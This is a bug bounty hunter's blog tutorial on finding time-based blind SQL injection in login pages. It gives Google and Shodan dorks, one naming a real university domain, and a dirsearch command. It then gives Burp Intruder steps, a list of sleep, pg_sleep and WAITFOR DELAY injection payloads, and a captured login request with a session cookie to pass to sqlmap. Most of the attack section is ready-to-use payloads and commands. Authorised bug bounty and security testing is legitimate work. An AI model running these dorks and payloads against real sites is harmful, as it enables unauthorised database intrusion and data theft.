I am Aditya Shende (Kong) from India. A Bounty Hunter , Biker and Researcher.
This is my 4th article , If you found any spell error. Let it be….. Lets start
What exactly time based SQL injection is ?
An instance of an inferential injection or blind injection attack is time-based SQL injection. A sort of attack known as an inferential injection attack prevents data from being exchanged between the attacker and the database, making it more difficult for the attacker to obtain results than in an in-band injection assault. Because of this, it is often referred to as a blind injection attack. Inside the database, a hacker has the ability to reconstruct and create a new database structure.
An attacker who wants to postpone the execution of the queries sends a SQL command to the server in a time-based attack.
If the query’s result is true or false, the response time shows it. The attacker will issue another query based on the reply. Because the attacker has to enumerate each character by character, this is usually a slow intrusion technique, especially for large databases.
Where I look for time based SQLi ?
- Login pages
- GET parameters | Sometimes
Mostly I focus on Login pages and try to check if ORG is using jsp,php or aspx in any domain or not.
- You can simply find open login page from google dorking . Like this
Dork site:=.*.*.wur.nl inurl:login | inurl:signin | intitle:Login | intitle:”sign in” | inurl:auth
Dork site:=.*.*.your_target.com inurl:login | inurl:signin | intitle:Login | intitle:”sign in” | inurl:auth
You can use https://pentest-tools.com/information-gathering/google-hacking for dorking to find login pages.
I am not coding guy or traditional person who checks each code to balance everything but sharing the method which I use for BSQLi.
2. Using shodan
You can use following dork to check if any of domain /IP contains auth page or not
Dork : http.title:”WUR”
Nothing special here . I just use one command of dirsearch (OLD SKOOL HECKER)
dirsearch.py -l target.txt -e php,asp,aspx,jsp,py,txt,conf,config,bak,backup,swp,old,db,sqlasp,aspx,aspx~,asp~,py,py~,rb,rb~,php,php~,bak,bkp,cache,cgi,conf,csv,html,inc,jar,js,json,jsp,jsp~,lock,log,rar,old,sql,sql.gz,sql.zip,sql.tar.gz,sql~,swp,swp~,tar,tar.bz2,tar.gz,txt,wadl,zip -i 200 — full-url
Finally after grabbing all points , logins, IPs . Time for exploitation
Take all the login pages and open it in firefox .
- Enter anything in username and password
- Send request to intruder
- Use following payloads (I use this mostly)
- Add username and password as attack position
- Select attack type as pitchfork and paste payloads
- Start attack
Now observe response length and status code
or sleep 5 —
or sleep 5
or sleep(5) —
or SELECT pg_sleep(5);
1 or pg_sleep(5) —
“ or pg_sleep(5) —
‘ or pg_sleep(5) —
1) or pg_sleep(5) —
;waitfor delay ‘0:0:5’ —
‘;WAITFOR DELAY ‘0:0:5’ —
);waitfor delay ‘0:0:5’ —
‘;waitfor delay ‘0:0:5’ —
“;waitfor delay ‘0:0:5’ —
‘);waitfor delay ‘0:0:5’ —
“);waitfor delay ‘0:0:5’ —
));waitfor delay ‘0:0:5’ —
‘));waitfor delay ‘0:0:5’ —
“));waitfor delay ‘0:0:5’ —
“) IF (1=1) WAITFOR DELAY ‘0:0:5’ —
‘;%5waitfor%5delay%5’0:0:5'%5 — %5
‘ WAITFOR DELAY ‘0:0:5’ —
Once you see weird length or status code is not visible in intruder then take that request in sqlmap
Copy request and create txt file in ubuntu: cat > request.txt
POST /products/der/admin/index.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=ckpekt03vhn9mlgaapa50kujt3; _ga_97C2F8CQVY=GS1.1.1672995422.214.171.12429954126.96.36.199; _ga=GA1.1.582203600.1672995466
Remaining things will be done by tools.
Note: This is just method which I use . I don’t promote or force to use this. Varies person to person .